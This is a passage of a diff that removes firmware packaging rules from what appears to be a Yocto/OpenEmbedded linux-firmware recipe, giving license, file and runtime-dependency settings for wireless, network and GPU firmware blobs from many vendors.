- ${PN}-qcom-adreno-a3xx ${PN}-qcom-adreno-a530 ${PN}-qcom-adreno-a630 \
- ${PN}-qcom-sdm845-audio ${PN}-qcom-sdm845-compute ${PN}-qcom-sdm845-modem \
- ${PN}-whence-license \
- ${PN}-license \
- "
-
-# For atheros
-LICENSE_${PN}-ar9170 = "Firmware-atheros_firmware"
-LICENSE_${PN}-ath6k = "Firmware-atheros_firmware"
-LICENSE_${PN}-ath9k = "Firmware-atheros_firmware"
-LICENSE_${PN}-atheros-license = "Firmware-atheros_firmware"
-
-FILES_${PN}-atheros-license = "${nonarch_base_libdir}/firmware/LICENCE.atheros_firmware"
-FILES_${PN}-ar9170 = " \
- ${nonarch_base_libdir}/firmware/ar9170*.fw \
-"
-FILES_${PN}-ath6k = " \
- ${nonarch_base_libdir}/firmware/ath6k \
-"
-FILES_${PN}-ath9k = " \
- ${nonarch_base_libdir}/firmware/ar9271.fw \
- ${nonarch_base_libdir}/firmware/ar7010*.fw \
- ${nonarch_base_libdir}/firmware/htc_9271.fw \
- ${nonarch_base_libdir}/firmware/htc_7010.fw \
- ${nonarch_base_libdir}/firmware/ath9k_htc/htc_7010-1.4.0.fw \
- ${nonarch_base_libdir}/firmware/ath9k_htc/htc_9271-1.4.0.fw \
-"
-
-RDEPENDS_${PN}-ar9170 += "${PN}-atheros-license"
-RDEPENDS_${PN}-ath6k += "${PN}-atheros-license"
-RDEPENDS_${PN}-ath9k += "${PN}-atheros-license"
-
-# For carl9170
-LICENSE_${PN}-carl9170 = "Firmware-GPLv2"
-LICENSE_${PN}-gplv2-license = "Firmware-GPLv2"
-
-FILES_${PN}-gplv2-license = "${nonarch_base_libdir}/firmware/GPL-2"
-FILES_${PN}-carl9170 = " \
- ${nonarch_base_libdir}/firmware/carl9170*.fw \
-"
-
-RDEPENDS_${PN}-carl9170 += "${PN}-gplv2-license"
-
-# For QualCommAthos
-LICENSE_${PN}-ar3k = "Firmware-qualcommAthos_ar3k"
-LICENSE_${PN}-ar3k-license = "Firmware-qualcommAthos_ar3k"
-LICENSE_${PN}-ath10k = "Firmware-qualcommAthos_ath10k"
-LICENSE_${PN}-ath10k-license = "Firmware-qualcommAthos_ath10k"
-LICENSE_${PN}-qca = "Firmware-qualcommAthos_ath10k"
-
-FILES_${PN}-ar3k-license = "${nonarch_base_libdir}/firmware/LICENSE.QualcommAtheros_ar3k"
-FILES_${PN}-ar3k = " \
- ${nonarch_base_libdir}/firmware/ar3k \
-"
-
-FILES_${PN}-ath10k-license = "${nonarch_base_libdir}/firmware/LICENSE.QualcommAtheros_ath10k"
-FILES_${PN}-ath10k = " \
- ${nonarch_base_libdir}/firmware/ath10k \
-"
-
-FILES_${PN}-qca = " \
- ${nonarch_base_libdir}/firmware/qca \
-"
-
-RDEPENDS_${PN}-ar3k += "${PN}-ar3k-license"
-RDEPENDS_${PN}-ath10k += "${PN}-ath10k-license"
-RDEPENDS_${PN}-qca += "${PN}-ath10k-license"
-
-# For ralink
-LICENSE_${PN}-ralink = "Firmware-ralink-firmware"
-LICENSE_${PN}-ralink-license = "Firmware-ralink-firmware"
-
-FILES_${PN}-ralink-license = "${nonarch_base_libdir}/firmware/LICENCE.ralink-firmware.txt"
-FILES_${PN}-ralink = " \
- ${nonarch_base_libdir}/firmware/rt*.bin \
-"
-
-RDEPENDS_${PN}-ralink += "${PN}-ralink-license"
-
-# For mediatek MT7601U
-LICENSE_${PN}-mt7601u = "Firmware-ralink_a_mediatek_company_firmware"
-LICENSE_${PN}-mt7601u-license = "Firmware-ralink_a_mediatek_company_firmware"
-
-FILES_${PN}-mt7601u-license = "${nonarch_base_libdir}/firmware/LICENCE.ralink_a_mediatek_company_firmware"
-FILES_${PN}-mt7601u = " \
- ${nonarch_base_libdir}/firmware/mt7601u.bin \
-"
-
-RDEPENDS_${PN}-mt7601u += "${PN}-mt7601u-license"
-
-# For radeon
-LICENSE_${PN}-radeon = "Firmware-radeon"
-LICENSE_${PN}-radeon-license = "Firmware-radeon"
-
-FILES_${PN}-radeon-license = "${nonarch_base_libdir}/firmware/LICENSE.radeon"
-FILES_${PN}-radeon = " \
- ${nonarch_base_libdir}/firmware/radeon \
-"
-
-RDEPENDS_${PN}-radeon += "${PN}-radeon-license"
-
-# For marvell
-LICENSE_${PN}-pcie8897 = "Firmware-Marvell"
-LICENSE_${PN}-pcie8997 = "Firmware-Marvell"
-LICENSE_${PN}-sd8686 = "Firmware-Marvell"
-LICENSE_${PN}-sd8688 = "Firmware-Marvell"
-LICENSE_${PN}-sd8787 = "Firmware-Marvell"
-LICENSE_${PN}-sd8797 = "Firmware-Marvell"
-LICENSE_${PN}-sd8801 = "Firmware-Marvell"
-LICENSE_${PN}-sd8887 = "Firmware-Marvell"
-LICENSE_${PN}-sd8897 = "Firmware-Marvell"
-LICENSE_${PN}-usb8997 = "Firmware-Marvell"
-LICENSE_${PN}-marvell-license = "Firmware-Marvell"
-
-FILES_${PN}-marvell-license = "${nonarch_base_libdir}/firmware/LICENCE.Marvell"
-FILES_${PN}-pcie8897 = " \
- ${nonarch_base_libdir}/firmware/mrvl/pcie8897_uapsta.bin \
-"
-FILES_${PN}-pcie8997 = " \
- ${nonarch_base_libdir}/firmware/mrvl/pcie8997_wlan_v4.bin \
- ${nonarch_base_libdir}/firmware/mrvl/pcieuart8997_combo_v4.bin \
- ${nonarch_base_libdir}/firmware/mrvl/pcieusb8997_combo_v4.bin \
-"
-FILES_${PN}-sd8686 = " \
- ${nonarch_base_libdir}/firmware/libertas/sd8686_v9* \
- ${nonarch_base_libdir}/firmware/sd8686* \
-"
-FILES_${PN}-sd8688 = " \
- ${nonarch_base_libdir}/firmware/libertas/sd8688* \
- ${nonarch_base_libdir}/firmware/mrvl/sd8688* \
-"
-FILES_${PN}-sd8787 = " \
- ${nonarch_base_libdir}/firmware/mrvl/sd8787_uapsta.bin \
-"
-FILES_${PN}-sd8797 = " \
- ${nonarch_base_libdir}/firmware/mrvl/sd8797_uapsta.bin \
-"
-FILES_${PN}-sd8801 = " \
- ${nonarch_base_libdir}/firmware/mrvl/sd8801_uapsta.bin \
-"
-FILES_${PN}-sd8887 = " \
- ${nonarch_base_libdir}/firmware/mrvl/sd8887_uapsta.bin \
-"
-FILES_${PN}-sd8897 = " \
- ${nonarch_base_libdir}/firmware/mrvl/sd8897_uapsta.bin \
-"
-FILES_${PN}-usb8997 = " \
- ${nonarch_base_libdir}/firmware/mrvl/usbusb8997_combo_v4.bin \
-"
-
-RDEPENDS_${PN}-sd8686 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8688 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8787 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8797 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8801 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8887 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8897 += "${PN}-marvell-license"
-RDEPENDS_${PN}-usb8997 += "${PN}-marvell-license"
-
-# For netronome
-LICENSE_${PN}-netronome = "Firmware-netronome"
-
-FILES_${PN}-netronome-license = " \
- ${nonarch_base_libdir}/firmware/LICENCE.Netronome \
-"
-FILES_${PN}-netronome = " \
- ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0081*.nffw \
- ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0096*.nffw \
- ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0097*.nffw \
- ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0099*.nffw \
-"
-
-RDEPENDS_${PN}-netronome += "${PN}-netronome-license"
-
-# For rtl
-LICENSE_${PN}-rtl8188 = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl8192cu = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl8192ce = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl8192su = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl8723 = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl8821 = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl-license = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl8168 = "WHENCE"
-
-FILES_${PN}-rtl-license = " \
- ${nonarch_base_libdir}/firmware/LICENCE.rtlwifi_firmware.txt \
-"
-FILES_${PN}-rtl8188 = " \
- ${nonarch_base_libdir}/firmware/rtlwifi/rtl8188*.bin \
-"
-FILES_${PN}-rtl8192cu = " \
- ${nonarch_base_libdir}/firmware/rtlwifi/rtl8192cufw*.bin \
-"
-FILES_${PN}-rtl8192ce = " \
- ${nonarch_base_libdir}/firmware/rtlwifi/rtl8192cfw*.bin \
-"
-FILES_${PN}-rtl8192su = " \
- ${nonarch_base_libdir}/firmware/rtlwifi/rtl8712u.bin \
-"
-FILES_${PN}-rtl8723 = " \
- ${nonarch_base_libdir}/firmware/rtlwifi/rtl8723*.bin \
-"
-FILES_${PN}-rtl8821 = " \
- ${nonarch_base_libdir}/firmware/rtlwifi/rtl8821*.bin \
-"
-FILES_${PN}-rtl8168 = " \
- ${nonarch_base_libdir}/firmware/rtl_nic/rtl8168*.fw \
-"
-
-RDEPENDS_${PN}-rtl8188 += "${PN}-rtl-license"
-RDEPENDS_${PN}-rtl8192ce += "${PN}-rtl-license"
-RDEPENDS_${PN}-rtl8192cu += "${PN}-rtl-license"
-RDEPENDS_${PN}-rtl8192su = "${PN}-rtl-license"
-RDEPENDS_${PN}-rtl8723 += "${PN}-rtl-license"
-RDEPENDS_${PN}-rtl8821 += "${PN}-rtl-license"
-RDEPENDS_${PN}-rtl8168 += "${PN}-whence-license"
-
-# For ti-connectivity
-LICENSE_${PN}-wlcommon = "Firmware-ti-connectivity"
-LICENSE_${PN}-wl12xx = "Firmware-ti-connectivity"
-LICENSE_${PN}-wl18xx = "Firmware-ti-connectivity"
-LICENSE_${PN}-ti-connectivity-license = "Firmware-ti-connectivity"
-
-FILES_${PN}-ti-connectivity-license = "${nonarch_base_libdir}/firmware/LICENCE.ti-connectivity"
-# wl18xx optionally needs wl1271-nvs.bin (which itself is a symlink to
-# wl127x-nvs.bin) - see linux/drivers/net/wireless/ti/wlcore/sdio.c
-# and drivers/net/wireless/ti/wlcore/spi.c.
-# While they're optional and actually only used to override the MAC
-# address on wl18xx, driver loading will delay (by udev timout - 60s)
-# if not there. So let's make it available always. Because it's a
-# symlink, both need to go to wlcommon.
-FILES_${PN}-wlcommon = " \
- ${nonarch_base_libdir}/firmware/ti-connectivity/TI* \
- ${nonarch_base_libdir}/firmware/ti-connectivity/wl127x-nvs.bin \
- ${nonarch_base_libdir}/firmware/ti-connectivity/wl1271-nvs.bin \
-"
-FILES_${PN}-wl12xx = " \
- ${nonarch_base_libdir}/firmware/ti-connectivity/wl12* \
-"
-FILES_${PN}-wl18xx = " \
- ${nonarch_base_libdir}/firmware/ti-connectivity/wl18* \
-"
-
-RDEPENDS_${PN}-wl12xx = "${PN}-ti-connectivity-license ${PN}-wlcommon"
-RDEPENDS_${PN}-wl18xx = "${PN}-ti-connectivity-license ${PN}-wlcommon"
-
-# For vt6656
-LICENSE_${PN}-vt6656 = "Firmware-via_vt6656"
-LICENSE_${PN}-vt6656-license = "Firmware-via_vt6656"
-
-FILES_${PN}-vt6656-license = "${nonarch_base_libdir}/firmware/LICENCE.via_vt6656"
-FILES_${PN}-vt6656 = " \
- ${nonarch_base_libdir}/firmware/vntwusb.fw \
-"
-
-RDEPENDS_${PN}-vt6656 = "${PN}-vt6656-license"
-
-# For broadcom
-
-# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo -e " \${PN}-$pkg \\"; done | sort -u
-
-LICENSE_${PN}-broadcom-license = "Firmware-broadcom_bcm43xx"
-FILES_${PN}-broadcom-license = "${nonarch_base_libdir}/firmware/LICENCE.broadcom_bcm43xx"
-
-# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo "$i - $pkg"; echo -e "FILES_\${PN}-$pkg = \"\${nonarch_base_libdir}/firmware/brcm/$i\""; done | grep ^FILES
-
-FILES_${PN}-bcm43xx = "${nonarch_base_libdir}/firmware/brcm/bcm43xx-0.fw"
-FILES_${PN}-bcm43xx-hdr = "${nonarch_base_libdir}/firmware/brcm/bcm43xx_hdr-0.fw"
-FILES_${PN}-bcm4329-fullmac = "${nonarch_base_libdir}/firmware/brcm/bcm4329-fullmac-4.bin"
-FILES_${PN}-bcm43236b = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43236b.bin"
-FILES_${PN}-bcm4329 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4329-sdio.bin"
-FILES_${PN}-bcm4330 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4330-sdio.*"
-FILES_${PN}-bcm4334 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4334-sdio.bin"
-FILES_${PN}-bcm4335 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4335-sdio.bin"
-FILES_${PN}-bcm4339 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4339-sdio.bin"
-FILES_${PN}-bcm43241b0 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43241b0-sdio.bin"
-FILES_${PN}-bcm43241b4 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43241b4-sdio.bin"
-FILES_${PN}-bcm43241b5 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43241b5-sdio.bin"
-FILES_${PN}-bcm43242a = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43242a.bin"
-FILES_${PN}-bcm43143 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43143.bin \
- ${nonarch_base_libdir}/firmware/brcm/brcmfmac43143-sdio.bin \
-"
-FILES_${PN}-bcm43430a0 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43430a0-sdio.*"
-FILES_${PN}-bcm43455 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43455-sdio.*"
-FILES_${PN}-bcm4350c2 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4350c2-pcie.bin"
-FILES_${PN}-bcm4350 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4350-pcie.bin"
-FILES_${PN}-bcm4356 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4356-sdio.bin"
-FILES_${PN}-bcm43569 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43569.bin"
-FILES_${PN}-bcm43570 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43570-pcie.bin"
-FILES_${PN}-bcm4358 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4358-pcie.bin"
-FILES_${PN}-bcm43602 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43602-pcie.bin \
- ${nonarch_base_libdir}/firmware/brcm/brcmfmac43602-pcie.ap.bin \
-"
-FILES_${PN}-bcm4366b = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4366b-pcie.bin"
-FILES_${PN}-bcm4366c = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4366c-pcie.bin"
-FILES_${PN}-bcm4371 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4371-pcie.bin"
-
-# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo -e "LICENSE_\${PN}-$pkg = \"Firmware-broadcom_bcm43xx\"\nRDEPENDS_\${PN}-$pkg += \"\${PN}-broadcom-license\""; done
-# Currently 1st one and last 6 have cypress LICENSE
-
-LICENSE_${PN}-bcm43xx = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43xx += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43xx-hdr = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43xx-hdr += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4329-fullmac = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4329-fullmac += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43236b = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43236b += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4329 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4329 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4330 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4330 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4334 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4334 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4335 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4335 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4339 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4339 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43241b0 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43241b0 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43241b4 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43241b4 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43241b5 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43241b5 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43242a = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43242a += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43143 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43143 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43430a0 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43430a0 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43455 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43455 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4350c2 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4350c2 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4350 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4350 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4356 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4356 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43569 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43569 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43570 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43570 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4358 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4358 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43602 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43602 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4366b = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4366b += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4366c = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4366c += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4371 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4371 += "${PN}-broadcom-license"
-
-# For broadcom cypress
-
-LICENSE_${PN}-cypress-license = "Firmware-cypress"
-FILES_${PN}-cypress-license = "${nonarch_base_libdir}/firmware/LICENCE.cypress"
-
-FILES_${PN}-bcm-0bb4-0306 = "${nonarch_base_libdir}/firmware/brcm/BCM-0bb4-0306.hcd"
-FILES_${PN}-bcm43340 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43340-sdio.*"
-FILES_${PN}-bcm43362 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43362-sdio.*"
-FILES_${PN}-bcm43430 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43430-sdio.*"
-FILES_${PN}-bcm4354 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4354-sdio.bin"
-FILES_${PN}-bcm4356-pcie = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4356-pcie.*"
-FILES_${PN}-bcm4373 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4373-sdio.bin \
- ${nonarch_base_libdir}/firmware/brcm/brcmfmac4373.bin \
-"
-
-LICENSE_${PN}-bcm-0bb4-0306 = "Firmware-cypress"
-RDEPENDS_${PN}-bcm-0bb4-0306 += "${PN}-cypress-license"
-LICENSE_${PN}-bcm43340 = "Firmware-cypress"
-RDEPENDS_${PN}-bcm43340 += "${PN}-cypress-license"
-LICENSE_${PN}-bcm43362 = "Firmware-cypress"
-RDEPENDS_${PN}-bcm43362 += "${PN}-cypress-license"
-LICENSE_${PN}-bcm43430 = "Firmware-cypress"
-RDEPENDS_${PN}-bcm43430 += "${PN}-cypress-license"
-LICENSE_${PN}-bcm4354 = "Firmware-cypress"
-RDEPENDS_${PN}-bcm4354 += "${PN}-cypress-license"
-LICENSE_${PN}-bcm4356-pcie = "Firmware-cypress"
-RDEPENDS_${PN}-bcm4356-pcie += "${PN}-cypress-license"
-LICENSE_${PN}-bcm4373 = "Firmware-cypress"
-RDEPENDS_${PN}-bcm4373 += "${PN}-cypress-license"
-
-# For Broadcom bnx2-mips
-#
-# which is a separate case to the other Broadcom firmwares since its
-# license is contained in the shared WHENCE file.
-
-LICENSE_${PN}-bnx2-mips = "WHENCE"
-LICENSE_${PN}-whence-license = "WHENCE"
-
-FILES_${PN}-bnx2-mips = "${nonarch_base_libdir}/firmware/bnx2/bnx2-mips-09-6.2.1b.fw"
-FILES_${PN}-whence-license = "${nonarch_base_libdir}/firmware/WHENCE"
-
-RDEPENDS_${PN}-bnx2-mips += "${PN}-whence-license"
-
-# For imx-sdma
-LICENSE_${PN}-imx-sdma-imx6q = "Firmware-imx-sdma_firmware"
-LICENSE_${PN}-imx-sdma-imx7d = "Firmware-imx-sdma_firmware"
-LICENSE_${PN}-imx-sdma-license = "Firmware-imx-sdma_firmware"
-
-FILES_${PN}-imx-sdma-imx6q = "${nonarch_base_libdir}/firmware/imx/sdma/sdma-imx6q.bin"
-
-RPROVIDES_${PN}-imx-sdma-imx6q = "firmware-imx-sdma-imx6q"
-RREPLACES_${PN}-imx-sdma-imx6q = "firmware-imx-sdma-imx6q"
-RCONFLICTS_${PN}-imx-sdma-imx6q = "firmware-imx-sdma-imx6q"
-
-FILES_${PN}-imx-sdma-imx7d = "${nonarch_base_libdir}/firmware/imx/sdma/sdma-imx7d.bin"
-
-FILES_${PN}-imx-sdma-license = "${nonarch_base_libdir}/firmware/LICENSE.sdma_firmware"
-
-RDEPENDS_${PN}-imx-sdma-imx6q += "${PN}-imx-sdma-license"
-RDEPENDS_${PN}-imx-sdma-imx7d += "${PN}-imx-sdma-license"
-
-# For iwlwifi
-LICENSE_${PN}-iwlwifi = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-135-6 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-7 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-8 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-9 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-10 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-12 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-13 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-16 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-17 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6000-4 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6000g2a-5 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6000g2a-6 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6000g2b-5 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6000g2b-6 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6050-4 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6050-5 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-7260 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-7265 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-7265d = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-8000c = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-8265 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-9000 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-misc = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-license = "Firmware-iwlwifi_firmware"
-
-
-FILES_${PN}-iwlwifi-license = "${nonarch_base_libdir}/firmware/LICENCE.iwlwifi_firmware"
-FILES_${PN}-iwlwifi-135-6 = "${nonarch_base_libdir}/firmware/iwlwifi-135-6.ucode"
-FILES_${PN}-iwlwifi-3160-7 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-7.ucode"
-FILES_${PN}-iwlwifi-3160-8 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-8.ucode"
-FILES_${PN}-iwlwifi-3160-9 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-9.ucode"
-FILES_${PN}-iwlwifi-3160-10 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-10.ucode"
-FILES_${PN}-iwlwifi-3160-12 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-12.ucode"
-FILES_${PN}-iwlwifi-3160-13 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-13.ucode"
-FILES_${PN}-iwlwifi-3160-16 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-16.ucode"
-FILES_${PN}-iwlwifi-3160-17 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-17.ucode"
-FILES_${PN}-iwlwifi-6000-4 = "${nonarch_base_libdir}/firmware/iwlwifi-6000-4.ucode"
-FILES_${PN}-iwlwifi-6000g2a-5 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2a-5.ucode"
-FILES_${PN}-iwlwifi-6000g2a-6 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2a-6.ucode"
-FILES_${PN}-iwlwifi-6000g2b-5 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2b-5.ucode"
-FILES_${PN}-iwlwifi-6000g2b-6 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2b-6.ucode"
-FILES_${PN}-iwlwifi-6050-4 = "${nonarch_base_libdir}/firmware/iwlwifi-6050-4.ucode"
-FILES_${PN}-iwlwifi-6050-5 = "${nonarch_base_libdir}/firmware/iwlwifi-6050-5.ucode"
-FILES_${PN}-iwlwifi-7260 = "${nonarch_base_libdir}/firmware/iwlwifi-7260-*.ucode"
-FILES_${PN}-iwlwifi-7265 = "${nonarch_base_libdir}/firmware/iwlwifi-7265-*.ucode"
-FILES_${PN}-iwlwifi-7265d = "${nonarch_base_libdir}/firmware/iwlwifi-7265D-*.ucode"
-FILES_${PN}-iwlwifi-8000c = "${nonarch_base_libdir}/firmware/iwlwifi-8000C-*.ucode"
-FILES_${PN}-iwlwifi-8265 = "${nonarch_base_libdir}/firmware/iwlwifi-8265-*.ucode"
-FILES_${PN}-iwlwifi-9000 = "${nonarch_base_libdir}/firmware/iwlwifi-9000-*.ucode"
-FILES_${PN}-iwlwifi-misc = "${nonarch_base_libdir}/firmware/iwlwifi-*.ucode"
-
-RDEPENDS_${PN}-iwlwifi-135-6 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-7 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-8 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-9 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-10 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-12 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-13 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-16 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-17 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6000-4 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6000g2a-5 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6000g2a-6 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6000g2b-5 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6000g2b-6 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6050-4 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6050-5 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-7260 = "${PN}-iwlwifi-license"
